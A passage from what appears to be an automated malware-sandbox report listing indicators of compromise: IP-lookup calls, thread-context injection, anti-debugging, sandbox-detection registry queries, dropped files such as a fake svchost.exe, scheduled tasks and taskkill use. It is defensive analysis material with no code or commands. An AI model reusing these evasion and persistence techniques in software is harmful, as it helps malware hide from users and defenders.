opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\M: installer.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: installer.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 388 ipinfo.io 3 ip-api.com 3 ipinfo.io 3 api.db-ip.com 111 ipinfo.io 360 ipinfo.io 460 ipinfo.io 472 ipinfo.io 110 ipinfo.io 120 api.db-ip.com 121 api.db-ip.com 387 ipinfo.io 398 api.db-ip.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
pid Process 5944 D5jO5muoKL2QIbNiEfoop08_.exe 2084 5069683.exe 2612 u61pEibZx55ZTcsGrpE4kjkv.exe 5896 _x9GiJzYDf9aJhmGn5Vb8S8w.exe 5384 E2t1dTST4wi9nETnfQ2vjtjw.exe 3300 ECktS8xzMW3LrovHiHpvy0gD.exe 580 1946948.exe 6808 1101862.exe -
Suspicious use of SetThreadContext 17 IoCs
description pid Process procid_target PID 2008 set thread context of 5736 2008 Wed0968d19e5ec37794.exe 128 PID 2188 set thread context of 5728 2188 Wed09755e77ed017e8af.exe 129 PID 1860 set thread context of 5980 1860 Process not Found 135 PID 3476 set thread context of 3212 3476 u72LOaRxLgkK5IHOwYSqQlCm.exe 43 PID 5988 set thread context of 3212 5988 u72LOaRxLgkK5IHOwYSqQlCm.exe 43 PID 2940 set thread context of 3212 2940 z485zCgApYkB9GZalmCeDduF.exe 43 PID 3476 set thread context of 3212 3476 u72LOaRxLgkK5IHOwYSqQlCm.exe 43 PID 5988 set thread context of 3212 5988 u72LOaRxLgkK5IHOwYSqQlCm.exe 43 PID 2608 set thread context of 7152 2608 MegogoSell_crypted.exe 230 PID 2492 set thread context of 1472 2492 YhE1IiHPA4dy8ccXNcMS2QFN.exe 218 PID 5696 set thread context of 3212 5696 chkdsk.exe 43 PID 5348 set thread context of 2368 5348 47BE.exe 344 PID 2176 set thread context of 2868 2176 1AC.exe 362 PID 4372 set thread context of 5556 4372 6067.exe 499 PID 10280 set thread context of 5176 10280 scriptwriters.exe 520 PID 5272 set thread context of 4908 5272 chromedrlver.exe 530 PID 2044 set thread context of 4176 2044 2FD0.exe 543 -
Drops file in Program Files directory 23 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe setup.tmp File created C:\Program Files (x86)\Windows Media Player\Naetixihuty.exe.config DYbALA.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe rCEAlTAUmN5DqGRox3D7HhaA.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe rCEAlTAUmN5DqGRox3D7HhaA.exe File created C:\Program Files\Windows Defender Advanced Threat Protection\WMUMSUTBUC\foldershare.exe DYbALA.exe File created C:\Program Files\Windows Defender Advanced Threat Protection\WMUMSUTBUC\foldershare.exe.config DYbALA.exe File created C:\Program Files (x86)\Wc2kdsr0\qjlkznh.exe Explorer.EXE File opened for modification C:\Program Files (x86)\Wc2kdsr0 Explorer.EXE File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe 6347777.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-5D519.tmp setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-CQRS5.tmp setup.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup.tmp File created C:\Program Files (x86)\Windows Media Player\Naetixihuty.exe DYbALA.exe File created C:\Program Files (x86)\FarLabUninstaller\is-EHL1O.tmp setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-05TPT.tmp setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe zb_GNN4ZicZJDYAaBv5ollkv.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe zb_GNN4ZicZJDYAaBv5ollkv.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe zb_GNN4ZicZJDYAaBv5ollkv.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini zb_GNN4ZicZJDYAaBv5ollkv.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe 6347777.exe File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup.tmp File opened for modification C:\Program Files (x86)\Wc2kdsr0\qjlkznh.exe chkdsk.exe -
Drops file in Windows directory 41 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DF3D9C017E22601B3F.TMP msiexec.exe File created C:\Windows\System\svchost.exe eXLCtZPPkxEwQmQj8pD33_AM.exe File opened for modification C:\Windows\Installer\f79d88b.msi msiexec.exe File created C:\Windows\Cursors\veejays\svchost.exe 6067.exe File opened for modification C:\Windows\Installer\MSI83B5.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File opened for modification C:\Windows\Installer\MSI1BA5.tmp msiexec.exe File created C:\Windows\Tasks\AdvancedWindowsManager #1.job MsiExec.exe File opened for modification C:\Windows\Installer\MSI52D5.tmp msiexec.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File created C:\Windows\Installer\f79d88b.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI3A73.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE36.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI575A.tmp msiexec.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\Installer\MSI40ED.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE6F5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF8B8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1BA6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2B7E.tmp msiexec.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\Installer\MSI709A.tmp msiexec.exe File opened for modification C:\Windows\System\svchost.exe eXLCtZPPkxEwQmQj8pD33_AM.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe File opened for modification C:\Windows\Installer\MSI5735.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3B.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFDD1EE49C4E9C9BB3.TMP msiexec.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\System\xxx1.bak eXLCtZPPkxEwQmQj8pD33_AM.exe File opened for modification C:\Windows\Installer\MSIFC3F.tmp msiexec.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File created C:\Windows\System\xxx1.bak svchost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF98E77D08B7EED344.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF10F9210F51DFBDA2.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI327B.tmp msiexec.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 26 IoCs
pid pid_target Process procid_target 5280 2240 WerFault.exe 82 5308 1260 WerFault.exe 108 4636 476 WerFault.exe 167 1628 5380 WerFault.exe 152 2516 2220 WerFault.exe 148 7072 5920 WerFault.exe 158 6876 4756 WerFault.exe 149 2360 6368 WerFault.exe 187 6952 5788 WerFault.exe 175 6952 5548 WerFault.exe 173 6976 5960 WerFault.exe 213 7060 7076 WerFault.exe 262 2368 5852 WerFault.exe 267 1592 3472 WerFault.exe 294 5916 3696 WerFault.exe 292 4908 5564 WerFault.exe 345 2560 3728 WerFault.exe 353 500 1516 WerFault.exe 366 1592 2964 WerFault.exe 384 4268 6748 WerFault.exe 376 5600 4328 WerFault.exe 380 9416 8632 WerFault.exe 438 10832 8632 WerFault.exe 438 11360 9560 WerFault.exe 455 1992 10272 WerFault.exe 465 4652 4176 WerFault.exe 543 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 47BE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI YhE1IiHPA4dy8ccXNcMS2QFN.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI YhE1IiHPA4dy8ccXNcMS2QFN.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI YhE1IiHPA4dy8ccXNcMS2QFN.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 47BE.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 47BE.exe -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz cmd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz InstallUtil.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision 47BE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 47BE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 47BE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome update.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 cmd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 47BE.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 chrome update.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6236 schtasks.exe 5320 schtasks.exe 4760 schtasks.exe 6700 schtasks.exe 2760 schtasks.exe 5484 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 1172 timeout.exe -
Enumerates system info in registry 2 TTPs 52 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS chrome update.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU 47BE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU cmd.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS 47BE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS InstallUtil.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier chkdsk.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU chrome update.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU InstallUtil.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS cmd.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 9132 ipconfig.exe 5748 ipconfig.exe -
Kills process with taskkill 5 IoCs
pid Process 456 taskkill.exe 5388 taskkill.exe 3592 taskkill.exe 11676 taskkill.exe 5844 taskkill.exe -
description ioc Process Key created \Registry\User\S-1-5-21-257790753-2419383948-818201544-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 chkdsk.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-257790753-2419383948-818201544-1000\02momiocxvxkygzq\DeviceId = "<Data><User username=\"02MOMIOCXVXKYGZQ\"><HardwareInfo BoundTime=\"1636388395\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordCharacterGroups = "2" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\8\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption" WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-257790753-2419383948-818201544-1000\02uinvflsbxivzcq\Reason = "2147750679" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02manhmeyprhepfi\DeviceId = "<Data LastUpdatedTime=\"1636388388\"><User username=\"02MANHMEYPRHEPFI\"><HardwareInfo BoundTime=\"1636388394\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root 